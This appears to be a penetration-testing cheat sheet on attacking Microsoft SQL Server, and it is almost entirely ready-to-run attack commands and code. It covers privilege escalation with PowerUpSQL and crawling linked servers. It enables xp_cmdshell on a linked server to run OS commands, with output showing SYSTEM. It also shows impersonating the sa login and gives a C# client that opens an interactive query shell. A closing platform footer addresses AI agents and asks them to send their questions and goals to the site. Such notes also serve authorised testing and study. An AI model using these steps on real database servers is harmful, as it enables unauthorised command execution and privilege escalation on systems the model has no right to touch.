> For the complete documentation index, see [llms.txt](https://notes.morph3.blog/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://notes.morph3.blog/windows/mssql.md).

# MSSQL

## PowerUpSQL

* <https://github.com/NetSPI/PowerUpSQL>

```
Get-SQLServerLink -Instance server -Verbose
powershell.exe -c "Import-Module C:\Users\Public\PowerUpSQL.ps1; Invoke-SQLEscalatePriv -Verbose -Instance ECORP\sql01"
```

## Linked servers

```
select srvname from master..sysservers;
```

Native

```
Get-SQLServerLinkCrawl -Instance server -Query "exec master..xp_cmdshell 'whoami'"
```

Linked database tables

```
select * from openquery(foo, 'select TABLE_NAME from FOO.INFORMATION_SCHEMA.TABLES') 
```

Meterpreter module,

* exploit/windows/mssql/mssql\_linkcrawler

Mssqlclient.py,

```
execute ('sp_configure ''show advanced options'', 1') at sql99;
execute (' reconfigure; ') at sql99;
execute (' sp_configure ''xp_cmdshell'',1 ') at sql99;
execute (' reconfigure; ') at sql99;
execute (' xp_cmdshell ''whoami'' ') at sql99;


SQL> execute (' xp_cmdshell ''whoami'' ') at sql99;
output                                                                                                                                                                                                                                                            

---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------   

nt authority\system                                                                                                                                                                                                                                               

NULL

```

## Impersonation

Check if you can impersonate to other users,

```
SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE'
```

You can then impersonate to those users use,

```
EXECUTE AS LOGIN = 'sa';
```

You can verify the impersonation using,

```
select SYSTEM_USER;
```

## Mssql Client in C\#

Compile using \`csc.exe mssql\_client.cs\`.&#x20;

```csharp
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Data.SqlClient;
using System.Collections;

namespace SQL
{
    public class SQL
    {
        static String Run(SqlConnection con, string execCmd)
        {
            SqlCommand command = new SqlCommand(execCmd, con);
            SqlDataReader reader = command.ExecuteReader();
            String res = "";
            while (reader.Read())
            {
                res += reader[0] + "\n";
            }
            reader.Close();
            return res;
        }

        public static void Main(string[] args)
        {
            String sqlServer = args[0];
            String database = "master";
            String command = (args.Length > 1 ? args[1] : "");

            String conString = "Server = " + sqlServer + "; Database = " + database + "; Integrated Security = True;";
            using (SqlConnection con = new SqlConnection(conString))
            {
                try
                {
                    con.Open();
                    Console.WriteLine("Auth success!");
                }
                catch
                {
                    Console.WriteLine("Auth failed");
                    return;
                }
                String user = Run(con, "select SYSTEM_USER").Trim();
                String login = Run(con, "select USER_NAME()").Trim();
                Console.WriteLine(String.Format("[+] User: {0}", user));
                Console.WriteLine(String.Format("[+] Login: {0}", login));
 

                if (args[1] == "/i")
                {
                    // while loop
                    String query = "";
                    while (true)
                    {
                        Console.Write("#>");
                        query = Console.ReadLine();
                        if (query == "exit")
                        {
                            return;
                        }
                        Console.WriteLine("[+] Executing query: {0}", query);
                        try
                        {
                            Console.WriteLine(Run(con, query));
                        }
                        catch
                        {
                            Console.WriteLine("[!] Failed to execute the query");
                            Console.WriteLine(Run(con, query));
                        }
                    }
                    return;
                }

                foreach (String sql in command.Split('\n'))
                {
                    if (sql.Trim().Length > 0)
                    {
                        Console.WriteLine(Run(con, sql));
                    }
                }
            }
        }
    }
}
```

```
.\sql.exe localhost /i
.\sql.exe localhost 'select @@version'
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://notes.morph3.blog/windows/mssql.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
